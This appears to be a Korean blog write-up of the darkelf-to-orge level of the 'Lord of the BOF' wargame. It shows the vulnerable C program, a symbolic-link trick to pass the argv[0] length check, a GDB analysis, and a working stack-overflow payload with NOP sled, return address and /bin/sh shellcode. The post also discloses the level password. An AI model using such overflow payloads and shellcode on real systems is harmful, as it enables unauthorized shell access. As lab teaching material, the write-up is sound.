SH1R0_HACKER
7. darkelf -> orgc 본문
id : darkelf
password : kernel crashed
[ orgc.c ]
/*
The Lord of the BOF : The Fellowship of the BOF
- orge
- check argv[0]
*/
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[])
{
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// here is changed!
if(strlen(argv[0]) != 77){
printf("argv[0] error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
// check the length of argument
if(strlen(argv[1]) > 48){
printf("argument is too long!\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
// buffer hunter
memset(buffer, 0, 40);
}
darkelf랑 비교했을 때 다른건 다 똑같은데 argv[0]의 길이가 77이 되지 않으면 오류를 띄운다.
argv[0]에는 프로그램을 실행할 때 첫번째 인자가 들어간다.
우리가 ./orge 라고 실행을 하면
argv[0] = /home/darkelf/./orge
이렇게 들어가게 된다.
/home/darkelf를 포함해서 77byte가 되어야한다는거니깐 14byte를 제외한 63byte를 추가로 입력해주면된다.
이때 심볼릭 링크 (symbolic link)를 이용하면 편리하게 바꿀 수 있다.
[ 심볼릭 링크 (symbolic Link) ]
심볼릭 링크는 원본파일을 가리킬 수 있도록 만들어 놓은 링크파일과 같은 존재이다.
윈도우에서 바로가기 (.lnk) 파일을 생각하면 쉽게 이해가 될 것이다.
사용법은 아래와 같다.
ln -s [원본파일명] [링크파일명]
[ GDB 분석 ]
원본파일에 쓰기권한이 없으므로 사본을 생성해준다.
이 사본에 심볼릭 링크를 적용하여 argv[0]의 길이를 77byte로 만들어 주자.
ln -s orge2 `python -c 'print "A"*75'`
A를 75개 넣은 이유는 파일을 실행할 때 ./ 이 문구가 들어가니깐 2byte를 빼주고 75byte만큼 넣은거다.
입력이 잘 되는 모습을 볼 수 있다.
이제 argv[2]에 쉘코드 넣고 RET주소를 여기로 변경하자.
RET에 브레이크 포인트를 걸고 실행하는 순간 argv[0] 에러가 난다.
우리가 위에서 ./ 를 생각해서 A를 75개 밖에 만들지 않았기 때문에 오류가 나는것이다.
gdb `python -c 'print "./"+"/"*70+"orge2"'`
이렇게 분석해보자.
그래도 에러가 난다.
/home/darkelf/
이 14byte만큼도 빼 줘야하나?
gdb `python -c 'print "./"+"/"*56+"orge2"'`
이렇게 분석해보자.
굿 잘된다.
argv[2]의 주소 : 0xbffffc1c
페이로드를 작성하여 공격하기 전 orge 원본파일에 심볼릭링크를 걸어주자.
orge2에 걸어둔 심볼릭링크는 삭제하였다.
ln -s orge `python -c 'print "A"*75'`
페이로드를 작성하자.
`python -c 'print "./"+"/"*70+"orge2"'` `python -c 'print "\x90"*44+"\x1c\xfc\xff\xbf"'` `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
Segmentation fault (core dumped)
코어가 생성되었다. 확인해보자.
argv[2]의 주소가 0xbffffbcc로 바뀌어져있다.
RET 주소를 다시 바꿔주자.
./AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA `python -c 'print "\x90"*44+"\xcc\xfb\xff\xbf"'` `python -c 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
'System > The Lord of BOF' 카테고리의 다른 글
9. troll -> vampire (0) | 2020.10.27 |
---|---|
8. orge -> troll (0) | 2020.10.26 |
6. wolfman -> darkelf (0) | 2020.10.24 |
5. orc -> wolfman (0) | 2020.10.22 |
4. goblin -> orc (0) | 2020.10.22 |